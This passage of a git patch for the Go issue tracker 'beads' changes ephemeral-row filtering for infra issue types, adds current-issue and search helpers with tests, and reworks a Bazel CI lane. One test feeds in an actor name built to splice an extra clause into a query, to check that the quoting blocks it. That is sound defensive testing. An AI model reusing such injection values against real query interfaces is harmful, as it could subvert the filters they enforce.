t.Fatalf("BuildCountFilter(%q): %v", issueType, err) + } + + if got.SkipWisps != want.SkipWisps { + t.Errorf("SkipWisps = %v, list --include-infra --all uses %v", got.SkipWisps, want.SkipWisps) + } + if !reflect.DeepEqual(got.IsTemplate, want.IsTemplate) { + t.Errorf("IsTemplate = %v, list --include-infra --all uses %v", countPtrStr(got.IsTemplate), countPtrStr(want.IsTemplate)) + } + if !reflect.DeepEqual(got.ExcludeTypes, want.ExcludeTypes) { + t.Errorf("ExcludeTypes = %v, list --include-infra --all uses %v", got.ExcludeTypes, want.ExcludeTypes) + } + if !reflect.DeepEqual(got.Ephemeral, want.Ephemeral) { + t.Errorf("Ephemeral = %v, list --include-infra --all uses %v", countPtrStr(got.Ephemeral), countPtrStr(want.Ephemeral)) + } + if !reflect.DeepEqual(got.IssueType, want.IssueType) { + t.Errorf("IssueType = %v, list --include-infra --all uses %v", got.IssueType, want.IssueType) + } + // A count defaults to all statuses and all pinned states, which is + // exactly what list's --all flag selects. + if !reflect.DeepEqual(got.Status, want.Status) { + t.Errorf("Status = %v, list --include-infra --all uses %v", got.Status, want.Status) + } + if !reflect.DeepEqual(got.Statuses, want.Statuses) { + t.Errorf("Statuses = %v, list --include-infra --all uses %v", got.Statuses, want.Statuses) + } + if !reflect.DeepEqual(got.ExcludeStatus, want.ExcludeStatus) { + t.Errorf("ExcludeStatus = %v, list --include-infra --all uses %v", got.ExcludeStatus, want.ExcludeStatus) + } + if !reflect.DeepEqual(got.Pinned, want.Pinned) { + t.Errorf("Pinned = %v, list --include-infra --all uses %v", countPtrStr(got.Pinned), countPtrStr(want.Pinned)) } } diff --git a/internal/workapi/list.go b/internal/workapi/list.go index 1798824c1..e5f9d7864 100644 --- a/internal/workapi/list.go +++ b/internal/workapi/list.go @@ -367,11 +367,6 @@ func BuildListFilter(in issueops.ListRequest, cfg ListConfig) (types.IssueFilter } } - if cfg.IsInfra(in.IssueType) { - ephemeral := true - filter.Ephemeral = &ephemeral - } - if in.ParentID != "" { pid := in.ParentID filter.ParentID = &pid @@ -415,7 +410,8 @@ func BuildListFilter(in issueops.ListRequest, cfg ListConfig) (types.IssueFilter // account of WHAT IT IS, so that a "show everything" frontend has exactly one // thing to skip. Two kinds live here: the type-level exclusions that make the // default listing show durable work only (templates, gates, infra types), and -// the plane decision — whether the wisps TABLE is read at all. +// the plane decision — whether the wisps TABLE is read at all, and for a named +// infra type whether only its ephemeral rows are. // // IncludeAllTypes lifts them ALL by skipping this function entirely, which is // what makes it future-proof: a suppression added here is automatically lifted @@ -442,14 +438,28 @@ func applyTypeSuppressions(in issueops.ListRequest, cfg ListConfig, filter *type // The plane bit. Three requests admit the wisp table: an explicit // IncludeEphemeral, IncludeInfra (which admits the plane AND drops the - // infra-type exclusions above), and naming an infra type (which routed to - // the plane alone in BuildListFilter). Everything else is the durable - // listing. IncludeAllTypes is a fourth, via the early return above — it is - // the union of these flags, so it must decide the plane too, not only the - // type exclusions. + // infra-type exclusions above), and naming an infra type (which narrows to + // its ephemeral rows, below). Everything else is the durable listing. + // IncludeAllTypes is a fourth, via the early return above — it is the union + // of these flags, so it must decide the plane too, not only the type + // exclusions. if !in.IncludeEphemeral && !in.IncludeInfra && (in.IssueType == "" || !cfg.IsInfra(in.IssueType)) { filter.SkipWisps = true } + + // Naming an infra type narrows the read to its EPHEMERAL rows alone, which + // is where creating one puts it. IncludeEphemeral lifts that narrowing, + // because it promises the durable answer PLUS the plane, never the plane + // instead: an infra-typed row can still be durable — a promoted wisp, an + // issue retyped after it was created, or one written before its type + // joined types.infra — and while the narrowing held, `bd search --type + // message` (whose scope sets the flag) dropped exactly those rows with exit + // 0. IncludeInfra alone keeps the narrowing, and BuildCountFilter's + // IncludeInfra arm mirrors both halves (GH#4387). + if cfg.IsInfra(in.IssueType) && !in.IncludeEphemeral { + ephemeral := true + filter.Ephemeral = &ephemeral + } } // splitStatusSelector splits a --status selector into its trimmed diff --git a/internal/workapi/list_ephemeral_test.go b/internal/workapi/list_ephemeral_test.go index cb4fb0505..d1b11d49f 100644 --- a/internal/workapi/list_ephemeral_test.go +++ b/internal/workapi/list_ephemeral_test.go @@ -60,6 +60,50 @@ func TestIncludeEphemeralIsThePlaneBitAndNothingElse(t *testing.T) { } } +// TestIncludeEphemeralLiftsTheInfraTypeNarrowing pins the other half of the +// "admits in addition, never narrows" promise, for the one request that DOES +// narrow: naming an infra type reads only that type's ephemeral rows +// (Ephemeral=true), which is where creating one puts it. An infra-typed row can +// still be durable — a promoted wisp, a retyped issue — so IncludeEphemeral has +// to lift the narrowing, or `bd search --type message` (whose scope sets the +// flag) drops those rows with exit 0, as it did while the narrowing held. +// IncludeInfra alone keeps it; IncludeAllTypes, the union of the flags, lifts +// it with them. +func TestIncludeEphemeralLiftsTheInfraTypeNarrowing(t *testing.T) { + searchScope := issueops.SearchListRequest("needle") + searchScope.IssueType = "message" + + for _, tc := range []struct { + name string + req issueops.ListRequest + narrow bool + }{ + {"an infra type alone narrows to its ephemeral rows", issueops.ListRequest{IssueType: "message"}, true}, + {"IncludeInfra alone keeps the narrowing", issueops.ListRequest{IssueType: "message", IncludeInfra: true}, true}, + {"IncludeEphemeral lifts it", issueops.ListRequest{IssueType: "message", IncludeEphemeral: true}, false}, + {"IncludeEphemeral lifts it beside IncludeInfra", issueops.ListRequest{IssueType: "message", IncludeEphemeral: true, IncludeInfra: true}, false}, + {"IncludeAllTypes lifts it", issueops.ListRequest{IssueType: "message", IncludeAllTypes: true}, false}, + {"search's scope lifts it", searchScope, false}, + {"a type that is not infra is never narrowed", issueops.ListRequest{IssueType: "task"}, false}, + } { + t.Run(tc.name, func(t *testing.T) { + filter, err := BuildListFilter(tc.req, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + switch { + case tc.narrow && (filter.Ephemeral == nil || !*filter.Ephemeral): + t.Errorf("Ephemeral = %v, want true: the infra type's own wisps are the only rows this request asked for", filter.Ephemeral) + case !tc.narrow && filter.Ephemeral != nil: + t.Errorf("Ephemeral = %v, want nil: the durable rows of the type are part of this answer", *filter.Ephemeral) + } + if tc.req.IssueType == "message" && filter.SkipWisps { + t.Error("SkipWisps is set, but naming an infra type always reads the wisp table") + } + }) + } +} + // TestReadyProjectionCarriesTheEphemeralPlane pins the ReadyFlag arm's half of // the same promise. The projection onto WorkFilter is where a list field is // silently dropped, and a dropped IncludeEphemeral would answer `--ready diff --git a/internal/workapi/storereader/reader.go b/internal/workapi/storereader/reader.go index 8c0c2bae1..006b0deb0 100644 --- a/internal/workapi/storereader/reader.go +++ b/internal/workapi/storereader/reader.go @@ -114,7 +114,7 @@ func (r *storeReader) List(ctx context.Context, req issueops.ListRequest) (issue if req.ReadyFlag { items, err = r.store.GetReadyWorkWithCounts(ctx, workapi.ReadyFilterFromIssueFilter(filter)) } else { - items, err = r.store.SearchIssuesWithCounts(ctx, "", filter) + items, err = r.store.SearchIssuesWithCounts(ctx, req.Query, filter) } if err != nil { return issueops.IssuePage{}, err diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index d6905629c..6c46a786b 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "claimer.go", "commenter.go", "counter.go", + "current.go", "cycledetector.go", "deleter.go", "dependencyeditor.go", @@ -34,6 +35,7 @@ go_library( "readycounter.go", "relations.go", "releaser.go", + "search.go", "statsreporter.go", "sweeper.go", "template_errors.go", @@ -53,14 +55,17 @@ go_test( name = "issueops_test", srcs = [ "claimer_external_test.go", + "current_test.go", "issueops_external_test.go", "molecule_internal_test.go", "molecule_test.go", + "search_test.go", ], embed = [":issueops"], deps = [ "//:beads", "//internal/types", + "//internal/workapi", ], ) diff --git a/issueops/counter.go b/issueops/counter.go index 1f97939f4..f996cb5f4 100644 --- a/issueops/counter.go +++ b/issueops/counter.go @@ -167,7 +167,8 @@ type CountRequest struct { // - template molecules are excluded, which a default count includes; // - gate beads are excluded, unless IssueType asks for gates by name; // - an IssueType the workspace calls infra routes the count to the - // ephemeral tier instead of the durable one. + // ephemeral tier instead of the durable one — unless IncludeEphemeral + // is also set, which lifts that routing, as it does for a listing. // // The infra vocabulary is the WORKSPACE's, read from configuration inside // the implementation. A caller does not supply it and cannot: that is the @@ -198,6 +199,11 @@ type CountRequest struct { // it; only IncludeInfra sets out to reconcile cardinality, and it pays for // that with three changes beyond the plane. // + // Beside IncludeInfra it does one thing more, the same thing it does to a + // listing: it lifts the fourth change's routing of an infra IssueType, so + // the durable rows of that type (a promoted wisp, a retyped issue) are + // counted along with its wisps rather than instead of them. + // // Unset — and with IncludeInfra also unset — the count is durable-plane // only: the historical answer, unchanged. IncludeEphemeral bool diff --git a/issueops/current.go b/issueops/current.go new file mode 100644 index 000000000..30371185e --- /dev/null +++ b/issueops/current.go @@ -0,0 +1,64 @@ +package issueops + +import ( + "context" + "fmt" + "strings" + + "github.com/steveyegge/beads/internal/types" +) + +// CurrentIssueStatuses is the order FindCurrentIssue looks in: the actor's +// in-progress work first, then work hooked to it. +var CurrentIssueStatuses = []types.Status{types.StatusInProgress, types.StatusHooked} + +// FindCurrentIssue answers `bd show --current`'s question — which issue is +// this actor working on — through the Querier role, which every backend +// serves (a remote one as queryIssues). It returns the id of the first issue +// in the actor's in-progress work, else the first hooked to it, in the store's +// default order; "" when both reads answered and found nothing. +// +// A FAILED READ IS AN ERROR, never a miss. A caller falls back (to the +// last-touched issue, say) only on "", which only two reads that answered can +// produce. Treating a refusal as "nothing in progress" is what made the http +// backend print the wrong issue with exit 0. +// +// Each read is exactly the filter `status=`, `assignee=` and nothing +// else, one row. The actor travels as a quoted query value. The query language +// reads `assignee=none` and `assignee=null` (any case) as "no assignee", so an +// actor by one of those names, or an empty actor, cannot be asked about and +// gets "". +func FindCurrentIssue(ctx context.Context, querier Querier, actor string) (string, error) { + if querier == nil || actor == "" || strings.EqualFold(actor, "none") || strings.EqualFold(actor, "null") { + return "", nil + } + for _, status := range CurrentIssueStatuses { + page, err := querier.Query(ctx, currentIssueQuery(status, actor)) + if err != nil { + return "", fmt.Errorf("finding the current issue (%s, assigned to %s): %w", status, actor, err) + } + for _, row := range page.Items { + if row != nil && row.Issue != nil { + return row.ID, nil + } + } + } + return "", nil +} + +// currentIssueQuery is the role request for one status. No display order: +// every backend answers in its default order, and a sort would change which +// row is "current". +func currentIssueQuery(status types.Status, actor string) QueryRequest { + one := 1 + return QueryRequest{ + Expression: fmt.Sprintf("status=%s AND assignee=%s", status, quoteQueryValue(actor)), + Limit: &one, + } +} + +// quoteQueryValue renders v as a double-quoted query-language string, escaping +// the two characters the lexer gives meaning inside one. +func quoteQueryValue(v string) string { + return `"` + strings.NewReplacer(`\`, `\\`, `"`, `\"`).Replace(v) + `"` +} diff --git a/issueops/current_test.go b/issueops/current_test.go new file mode 100644 index 000000000..d69170ff9 --- /dev/null +++ b/issueops/current_test.go @@ -0,0 +1,154 @@ +package issueops_test + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +type currentQueryResponse struct { + ids []string + err error +} + +type currentQueryRecorder struct { + responses []currentQueryResponse + calls []issueops.QueryRequest +} + +func (r *currentQueryRecorder) Query(_ context.Context, req issueops.QueryRequest) (issueops.IssuePage, error) { + r.calls = append(r.calls, req) + response := r.responses[len(r.calls)-1] + if response.err != nil { + return issueops.IssuePage{}, response.err + } + items := make([]*types.IssueWithCounts, 0, len(response.ids)) + for _, id := range response.ids { + items = append(items, &types.IssueWithCounts{Issue: &types.Issue{ID: id}}) + } + return issueops.IssuePage{Items: items}, nil +} + +func wantCurrentQueries(quotedActor string, statuses ...types.Status) []issueops.QueryRequest { + one := 1 + want := make([]issueops.QueryRequest, 0, len(statuses)) + for _, status := range statuses { + want = append(want, issueops.QueryRequest{ + Expression: "status=" + string(status) + " AND assignee=" + quotedActor, + Limit: &one, + }) + } + return want +} + +func TestFindCurrentIssueInProgressShortCircuits(t *testing.T) { + q := ¤tQueryRecorder{responses: []currentQueryResponse{{ids: []string{"in-progress-first", "in-progress-second"}}}} + got, err := issueops.FindCurrentIssue(context.Background(), q, "tester") + if err != nil || got != "in-progress-first" { + t.Fatalf("FindCurrentIssue = (%q, %v), want (in-progress-first, nil)", got, err) + } + if want := wantCurrentQueries(`"tester"`, types.StatusInProgress); !reflect.DeepEqual(q.calls, want) { + t.Fatalf("Query calls = %#v, want %#v", q.calls, want) + } +} + +func TestFindCurrentIssueFindsHookedAfterInProgressMiss(t *testing.T) { + q := ¤tQueryRecorder{responses: []currentQueryResponse{{}, {ids: []string{"hooked"}}}} + got, err := issueops.FindCurrentIssue(context.Background(), q, "tester") + if err != nil || got != "hooked" { + t.Fatalf("FindCurrentIssue = (%q, %v), want (hooked, nil)", got, err) + } + if want := wantCurrentQueries(`"tester"`, types.StatusInProgress, types.StatusHooked); !reflect.DeepEqual(q.calls, want) { + t.Fatalf("Query calls = %#v, want %#v", q.calls, want) + } +} + +func TestFindCurrentIssueAnswersEmptyAfterTwoMisses(t *testing.T) { + q := ¤tQueryRecorder{responses: []currentQueryResponse{{}, {}}} + got, err := issueops.FindCurrentIssue(context.Background(), q, "tester") + if err != nil || got != "" { + t.Fatalf("FindCurrentIssue = (%q, %v), want (\"\", nil)", got, err) + } +} + +// TestFindCurrentIssueNeverTakesAFailureForAMiss is S6e: a refused or failed +// read used to fall through to the next read and then to the last-touched +// issue, so `bd show --current` printed the WRONG issue, exit 0. +func TestFindCurrentIssueNeverTakesAFailureForAMiss(t *testing.T) { + refusal := errors.New("SearchIssues: not supported over HTTP") + for _, tc := range []struct { + name string + responses []currentQueryResponse + calls int + }{ + {"in-progress read fails", []currentQueryResponse{{err: refusal}}, 1}, + {"hooked read fails", []currentQueryResponse{{}, {err: refusal}}, 2}, + } { + t.Run(tc.name, func(t *testing.T) { + q := ¤tQueryRecorder{responses: tc.responses} + got, err := issueops.FindCurrentIssue(context.Background(), q, "tester") + if !errors.Is(err, refusal) || got != "" { + t.Fatalf("FindCurrentIssue = (%q, %v), want (\"\", an error wrapping %v)", got, err, refusal) + } + if len(q.calls) != tc.calls { + t.Fatalf("query calls = %d, want %d", len(q.calls), tc.calls) + } + }) + } +} + +// TestFindCurrentIssueQuotesTheActor pins that an actor is one quoted value, +// whatever it contains, so it can neither break the parse nor splice in a +// clause. +func TestFindCurrentIssueQuotesTheActor(t *testing.T) { + q := ¤tQueryRecorder{responses: []currentQueryResponse{{ids: []string{"x"}}}} + if _, err := issueops.FindCurrentIssue(context.Background(), q, `gastown/polecats/ru"st\ AND status=closed`); err != nil { + t.Fatal(err) + } + if want := wantCurrentQueries(`"gastown/polecats/ru\"st\\ AND status=closed"`, types.StatusInProgress); !reflect.DeepEqual(q.calls, want) { + t.Fatalf("Query calls = %#v, want %#v", q.calls, want) + } +} + +// TestFindCurrentIssueSkipsActorsItCannotAskAbout pins the actors the query +// language cannot express: `assignee=none`/`null` mean "no assignee", which +// would name some unassigned issue as this actor's. +func TestFindCurrentIssueSkipsActorsItCannotAskAbout(t *testing.T) { + for _, actor := range []string{"", "none", "NULL"} { + q := ¤tQueryRecorder{} + got, err := issueops.FindCurrentIssue(context.Background(), q, actor) + if err != nil || got != "" || len(q.calls) != 0 { + t.Fatalf("actor %q: got (%q, %v) after %d queries, want (\"\", nil) after none", actor, got, err, len(q.calls)) + } + } +} + +// TestFindCurrentIssueQueryMeansTheRawFilter pins that each read evaluates to +// exactly `status=`, `assignee=` — no predicate half, no default +// closed exclusion, no sort — so the store answers it with the same rows in +// the same default order the raw read did. +func TestFindCurrentIssueQueryMeansTheRawFilter(t *testing.T) { + for _, actor := range []string{"tester", "gastown/polecats/rust", `we"ird\name`, "has space"} { + q := ¤tQueryRecorder{responses: []currentQueryResponse{{}, {}}} + if _, err := issueops.FindCurrentIssue(context.Background(), q, actor); err != nil { + t.Fatal(err) + } + for i, req := range q.calls { + plan, err := workapi.BuildQueryPlan(req) + if err != nil { + t.Fatalf("actor %q read %d: %v", actor, i, err) + } + f := plan.Filter + status := issueops.CurrentIssueStatuses[i] + if plan.RequiresPredicate() || f.Status == nil || *f.Status != status || f.Assignee == nil || *f.Assignee != actor || + f.NoAssignee || len(f.ExcludeStatus) != 0 || f.Limit != 1 || f.SortBy != "" { + t.Fatalf("actor %q status %s: plan = %+v", actor, status, plan) + } + } + } +} diff --git a/issueops/reader.go b/issueops/reader.go index dd761270c..852a9a9c2 100644 --- a/issueops/reader.go +++ b/issueops/reader.go @@ -152,6 +152,17 @@ type ListRequest struct { SpecPrefix string // IDFilter is a comma-separated id set. IDFilter string + // Query is `bd search`'s free text, with that command's meaning and not + // TitleSearch's: a row matches when its title contains the text or its id + // does, case-insensitively, and an id-shaped text also matches an exact + // id, an id prefix and the external ref. It is the `query` argument of the + // storage seam's SearchIssues, carried as a member so a backend that + // serves only roles can answer a search. + // + // It narrows; it lifts no default exclusion. A caller that wants search's + // "every status, every kind of row" answer asks for that with AllFlag and + // the Include* members, as for any other listing. + Query string Labels []string LabelsAny []string @@ -311,6 +322,14 @@ type ListRequest struct { // field alone reaches is the ephemeral rows of the types a listing already // shows. // + // AN INFRA IssueType IS THE ONE NARROWING IT LIFTS. Naming a type the + // workspace calls infra reads only that type's EPHEMERAL rows, which is + // where creating one puts it; with this flag set the request reads the + // type's rows on both planes instead, because an infra-typed row can still + // be durable — a promoted wisp, an issue retyped after it was created, or + // one written before its type joined types.infra. That is the superset + // promise above applied to the narrowing; IncludeInfra alone keeps it. + // // THE MERGED ANSWER IS ONE ORDER. Both planes are ordered together by // SortBy as if they were a single table — not the durable rows followed by // the ephemeral ones — so a Limit truncates the merged order rather than diff --git a/issueops/reader_ready_scope.go b/issueops/reader_ready_scope.go index bf3ee326c..b69bc686b 100644 --- a/issueops/reader_ready_scope.go +++ b/issueops/reader_ready_scope.go @@ -64,6 +64,7 @@ type readyScopeField struct { // that can never contain one — it is in the list below. var readyScopeFields = []readyScopeField{ {"IDFilter", "--id", func(r ListRequest) bool { return r.IDFilter != "" }}, + {"Query", "bd search", func(r ListRequest) bool { return r.Query != "" }}, {"TitleSearch", "--title", func(r ListRequest) bool { return r.TitleSearch != "" }}, {"SpecPrefix", "--spec", func(r ListRequest) bool { return r.SpecPrefix != "" }}, diff --git a/issueops/search.go b/issueops/search.go new file mode 100644 index 000000000..3739a10c7 --- /dev/null +++ b/issueops/search.go @@ -0,0 +1,33 @@ +package issueops + +// SearchListRequest is `bd search`'s request: the listing that answers the +// text query, with search's own scope. Every route of `bd search` — the direct +// store, the proxied server and a remote backend — asks issueops.Reader.List +// with this request (plus the caller's narrowing flags), so the three cannot +// answer the same search differently, and a remote backend serves it through +// the same role the server's listIssues handler calls. +// +// The scope is search's, not a listing's: +// - EVERY STATUS. Closed rows match unless the caller narrows with Status +// (bd-t5yex: "was this already filed or fixed?" must not answer no just +// because the answer is closed). AllFlag lifts the status exclusions and +// the pinned-flag predicate together. +// - EVERY KIND OF ROW. Templates, gates, the workspace's infrastructure types +// and the ephemeral plane all match; the four Include* members lift those +// exclusions. +// - THE STORE'S DEFAULT ORDER, priority then newest then id, so a Limit +// keeps the same rows a raw SearchIssues read kept. A display sort is the +// caller's to apply to the page afterwards. +// +// Limit is left nil (the listing default); a caller sets it. +func SearchListRequest(query string) ListRequest { + return ListRequest{ + Query: query, + AllFlag: true, + IncludeTemplates: true, + IncludeGates: true, + IncludeInfra: true, + IncludeEphemeral: true, + SortBy: "priority", + } +} diff --git a/issueops/search_test.go b/issueops/search_test.go new file mode 100644 index 000000000..9b19e8053 --- /dev/null +++ b/issueops/search_test.go @@ -0,0 +1,22 @@ +package issueops_test + +import ( + "reflect" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// TestSearchListRequestIsSearchsScope pins the library's search scope: every +// status, every kind of row, the store's default order. +func TestSearchListRequestIsSearchsScope(t *testing.T) { + got := issueops.SearchListRequest("needle") + want := issueops.ListRequest{ + Query: "needle", AllFlag: true, + IncludeTemplates: true, IncludeGates: true, IncludeInfra: true, IncludeEphemeral: true, + SortBy: "priority", + } + if !reflect.DeepEqual(got, want) { + t.Fatalf("SearchListRequest = %+v, want %+v", got, want) + } +} From 85464f567aecc736059602dd0eab561bde7612b9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 13 Oct 2026 04:35:17 +0000 Subject: [PATCH 237/325] ci(bazel): dolt-race gates the dolt-server and proxied tiers in mode remote (item 5 A1b) (#7514) * ci(bazel): dolt-race gates the dolt-server and proxied tiers in mode remote (item 5 A1b) In mode remote, bazel-dolt-race (`bazel test //... --config=dolt-race`, the union of --config=doltserver and --config=doltserver-proxied) runs both tiers in place of bazel-doltserver and bazel-proxied, and is no longer advisory: its job.status is both the bazel-doltserver and the bazel-proxied workflow_call output (union result first, member's otherwise). In the fork modes, cache and local, the two member jobs run exactly as before: there one client does both tiers' work without in-flight deduplication, so a union would cost the sum of the tiers rather than the max. Exactly one arm runs in any mode, so gate ids, pr.yml, ci-gate.sh and bazel-gate.sh are unchanged. - bazel.yml: dolt-race if: mode == 'remote' (every event that reaches it); no continue-on-error; result output and always() recorder; test step timeout 25 -> 20 (job 55 >= step sum 46 + 5, < 60). Members' if: their old rule && mode != 'remote'. - scripts/bazel_dolt_race_test.go (was bazel_dolt_race_shadow_test.go): union-of-members config, sole-run lines in the union, gating shape, step and job timeouts, exactly one arm per mode x event with the call outputs evaluated as GitHub does, and the union's 62 test actions within --config=remote-exec's --jobs=64. - Gate simulations evaluate the workflow_call output expressions, and a gated lane's reporter is the lane or its union lane. - aquery: all 62 TestRunner actions under --config=dolt-race are byte-identical (key, argv, env, outputs) to --config=doltserver (with and without sole-run) and --config=doltserver-proxied on origin/main. - Docs: CI_REQUIRED_CHECK_TOPOLOGY.md "dolt-race Union Lane", TESTING.md. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): dolt-race test step 23 min so Bazel logs a 1200 s TIMEOUT first The proxied tier caps each test at 1200 s; a 20-minute step let GitHub kill a hung shard before Bazel wrote its TIMEOUT test.log and goroutine dump. Step 23, job 56 (step sum + 5, under the merge queue's 60). Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): say the dolt-race job timeout bounds the job, not the run Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 25 +- .github/workflows/bazel.yml | 132 ++++--- .github/workflows/pr-risk.yml | 4 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 68 ++-- engdocs/TESTING.md | 4 +- scripts/BUILD.bazel | 2 +- scripts/bazel_cache_mode_test.go | 10 +- scripts/bazel_dolt_race_shadow_test.go | 305 --------------- scripts/bazel_dolt_race_test.go | 508 +++++++++++++++++++++++++ scripts/ci_analytics_workflow_test.go | 2 +- scripts/ci_blacksmith_runner_test.go | 6 +- scripts/ci_workflow_test.go | 128 ++++--- scripts/pr_risk_bazel_coverage_test.go | 12 +- 13 files changed, 734 insertions(+), 472 deletions(-) delete mode 100644 scripts/bazel_dolt_race_shadow_test.go create mode 100644 scripts/bazel_dolt_race_test.go diff --git a/.bazelrc b/.bazelrc index 90569a07d..2beb0d5be 100644 --- a/.bazelrc +++ b/.bazelrc @@ -178,20 +178,21 @@ test:doltserver-proxied --experimental_remote_cache_eviction_retries=0 # above. test:doltserver-proxied --norun_validations -# dolt-server + proxied union (item 5, Phase 1 shadow): bazel.yml's advisory -# bazel-dolt-race job runs both tiers in one invocation, beside their own -# lanes, to measure one client per group of lanes before any cutover. Exactly -# the union of --config=doltserver's and --config=doltserver-proxied's lines, -# with one tag filter naming both tiers -# (scripts/bazel_dolt_race_shadow_test.go). Every other flag is the same in -# both members or outside any action key for the other: the race build, +# dolt-server + proxied union (item 5): bazel.yml's bazel-dolt-race job runs +# both tiers in one invocation in mode remote, in place of the bazel-doltserver +# and bazel-proxied lanes, which still run --config=doltserver and +# --config=doltserver-proxied in every other mode. Exactly the union of the two +# member configs' lines, with one tag filter naming both tiers +# (scripts/bazel_dolt_race_test.go). Every other flag is the same in both +# members or outside any action key for the other: the race build, # -test.parallel=4 and GO_TEST_WRAP_TESTV=1 are common; the eternal timeout # applies to no dolt-server target; the eviction retry count is what -# doltserver already gets from --config=sole-run in mode remote, the only mode -# the shadow runs in; test_summary, local_test_jobs and remote_download_regex -# are not in any action key. So each member target's test action is -# unchanged, and the two lanes' cached results carry over. The member configs -# stay for make, developers and the member lanes. +# doltserver gets from --config=sole-run wherever it executes remotely; +# test_summary, local_test_jobs and remote_download_regex are not in any action +# key. So each member target's test action is unchanged (aquery: all 62 +# TestRunner actions byte-identical), and whichever arm the mode picks shares +# cached results with the other. The member configs stay for those modes, make +# and developers. test:dolt-race --@rules_go//go/config:race test:dolt-race --test_tag_filters=dolt-server,dolt-server-proxied test:dolt-race --build_tests_only diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index ba16b7f58..161a3bf74 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -46,11 +46,14 @@ # only what the PR changed is built and tested on the runner, and it is # their only PR-time integration run (no legacy job runs it on PRs). Mode # local (rbe=off) still skips it. Direct runs (push to main, -# workflow_dispatch, nightly.yml's call) gate nothing. bazel-dolt-race (the -# dolt-server + proxied union shadow, mode remote on PRs and merge groups -# only) cannot fail the gate either: no output, job-level continue-on-error. -# The gate still waits for it, as for every job of the call (see its comment -# and engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "dolt-race Shadow"). +# workflow_dispatch, nightly.yml's call) gate nothing. In mode remote the +# dolt-server and proxied-server tiers run as one union job, bazel-dolt-race +# (`bazel test --config=dolt-race`), whose job.status is both the +# bazel-doltserver and the bazel-proxied output; in every other mode +# bazel-doltserver and bazel-proxied run as before and report their own. +# Exactly one of the two arms runs in any mode, so the gate ids +# (BAZEL_DOLTSERVER, BAZEL_PROXIED) and bazel-gate.sh's skips are unchanged +# (engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "dolt-race Union Lane"). # # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to @@ -346,12 +349,14 @@ on: bazel-integration: description: "bazel-integration's job.status" value: ${{ jobs.bazel-integration.outputs.result }} + # Mode remote: bazel-dolt-race runs both tiers and the member jobs + # skip; every other mode: the reverse. One side is always empty. bazel-doltserver: - description: "bazel-doltserver's job.status" - value: ${{ jobs.bazel-doltserver.outputs.result }} + description: "the dolt-server tier's job.status: bazel-dolt-race's in mode remote, bazel-doltserver's otherwise" + value: ${{ jobs.bazel-dolt-race.outputs.result || jobs.bazel-doltserver.outputs.result }} bazel-proxied: - description: "bazel-proxied's job.status" - value: ${{ jobs.bazel-proxied.outputs.result }} + description: "the proxied-server tier's job.status: bazel-dolt-race's in mode remote, bazel-proxied's otherwise" + value: ${{ jobs.bazel-dolt-race.outputs.result || jobs.bazel-proxied.outputs.result }} bazel-server-storage: description: "bazel-server-storage's job.status" value: ${{ jobs.bazel-server-storage.outputs.result }} @@ -1743,12 +1748,18 @@ jobs: # doctor/fix, protocol in 8 shards, testutil), each of which starts its # own dolt sql-server from the pinned dolt, so they execute on the remote # workers like any other test (locally with rbe=off). + # Not in mode remote: there bazel-dolt-race runs this tier together with + # the proxied-server tier and reports for both (item 5). In the fork + # modes, cache and local there is no in-flight deduplication of one + # client's actions and the client does the work, so a union would cost the + # sum of the two tiers instead of the max: this job runs there as before. bazel-doltserver: name: dolt-server lane - # Same runner and skip rule as bazel-test. + # Same runner as bazel-test; bazel-test's skip rule, plus mode remote + # (bazel-dolt-race's). needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }} - if: ${{ needs.rbe.outputs.mode != 'skip' }} + if: ${{ needs.rbe.outputs.mode != 'skip' && needs.rbe.outputs.mode != 'remote' }} timeout-minutes: 90 outputs: result: ${{ steps.result.outputs.result }} @@ -1879,7 +1890,8 @@ jobs: # (formerly proxied-local-smoke.yml) in a loopback-only network # namespace, which needs the workers' unprivileged user namespaces. A job # of its own, not gated by any integration switch: it runs in pr.yml's - # call and its gate requires it (BAZEL_PROXIED). + # call and its gate requires it (BAZEL_PROXIED). Fork modes only: in mode + # remote bazel-dolt-race runs this tier (see bazel-doltserver's comment). bazel-proxied: name: proxied-server tier # Remote execution only, like bazel-embedded: 30 concurrent shards, each @@ -1889,7 +1901,7 @@ jobs: # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ needs.rbe.outputs.enabled == 'true' }} + if: ${{ needs.rbe.outputs.enabled == 'true' && needs.rbe.outputs.mode != 'remote' }} timeout-minutes: 30 outputs: result: ${{ steps.result.outputs.result }} @@ -2033,45 +2045,37 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" - # Item 5, Phase 1 (scripts/bazel_dolt_race_shadow_test.go): the advisory - # shadow of a union lane. One `bazel test --config=dolt-race` runs the - # dolt-server and proxied-server tiers together (.bazelrc: exactly the - # union of --config=doltserver's and --config=doltserver-proxied's lines, - # one tag filter for both), beside bazel-doltserver and bazel-proxied, so - # one client per group of lanes can be compared with the two it would - # replace (end time, runner minutes, test counts and results) before any - # cutover. Each member target's test action key is unchanged, so the shadow - # and the member lanes share cached results; and rbe-west deduplicates - # identical in-flight executions (confirmed by the farm maintainer: - # NativeLink 1.7.1 subscribes a second identical Execute of a cacheable - # action to the operation already in 